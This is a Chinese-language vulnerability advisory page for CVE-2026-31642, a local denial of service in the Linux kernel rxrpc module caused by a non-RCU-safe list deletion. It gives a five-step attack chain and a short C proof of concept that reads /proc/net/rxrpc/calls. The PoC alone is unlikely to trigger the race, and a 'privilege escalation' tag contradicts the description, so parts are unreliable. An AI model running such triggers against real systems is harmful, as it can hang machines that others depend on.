IPBUF安全漏洞报告
English
CVE-2026-31642 CVSS 5.5 中危

CVE-2026-31642 Linux内核rxrpc调用删除拒绝服务漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31642
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务DoSRace Conditionrxrpc本地权限提升

漏洞概述

Linux内核中的rxrpc模块存在一个安全漏洞,涉及调用列表的删除机制。由于在从rxnet->calls列表中移除调用时错误地使用了list_del_init()而非list_del_rcu(),导致在读取/proc/net/rxrpc/calls时可能进入无限循环。该漏洞允许本地低权限用户通过特定操作触发系统不可用状态,造成拒绝服务攻击。

技术细节

该漏洞源于Linux内核网络子系统rxrpc的引用计数和列表管理逻辑。漏洞的核心在于并发访问控制:当调用对象被释放时,原代码使用了list_del_init()进行删除,这破坏了RCU(Read-Copy-Update)机制的预期行为。在并发场景下,若用户空间程序读取/proc/net/rxrpc/calls文件,内核会遍历rxnet->calls链表。如果此时链表节点被非RCU安全的方式删除,遍历过程可能因指针状态异常而陷入无限循环,导致CPU资源耗尽。修复方案将删除操作改为list_del_rcu(),并优化了销毁函数的逻辑,确保了列表操作的安全性,防止了死循环的发生。

攻击链分析

STEP 1
1. 获取本地访问权限
攻击者获得目标Linux系统的本地低权限用户访问权限。
STEP 2
2. 触发rxrpc调用
攻击者执行操作以触发rxrpc模块的调用创建和销毁过程,使内核处理rxnet->calls列表。
STEP 3
3. 读取敏感文件
攻击者读取/proc/net/rxrpc/calls文件,触发内核对调用列表的遍历。
STEP 4
4. 触发竞态条件
由于内核使用了错误的列表删除函数(非RCU安全),读取操作在遍历列表时遇到状态不一致的节点。
STEP 5
5. 拒绝服务
读取进程陷入无限循环,消耗CPU资源,导致系统负载过高或无响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31642 * Trigger: Reading /proc/net/rxrpc/calls while rxrpc calls are being destroyed. * This code attempts to read the proc file which may cause an infinite loop * if the kernel is vulnerable and the race condition is hit. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> int main() { FILE *fp; char buffer[256]; printf("Attempting to read /proc/net/rxrpc/calls to trigger the race condition...\n"); // Open the specific proc file mentioned in the vulnerability description fp = fopen("/proc/net/rxrpc/calls", "r"); if (fp == NULL) { perror("Failed to open /proc/net/rxrpc/calls"); return 1; } // Read the file content. On a vulnerable system, this might hang. while (fgets(buffer, sizeof(buffer), fp) != NULL) { // Process output (or hang) } if (ferror(fp)) { perror("Error reading file"); } fclose(fp); printf("Read completed.\n"); return 0; }

影响范围

Linux Kernel < specific patched commit (see git links)

防御指南

临时缓解措施
限制非特权用户对/proc/net/rxrpc/calls文件的读取权限,或者在不需要rxrpc功能的情况下禁用该内核模块,以降低被利用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表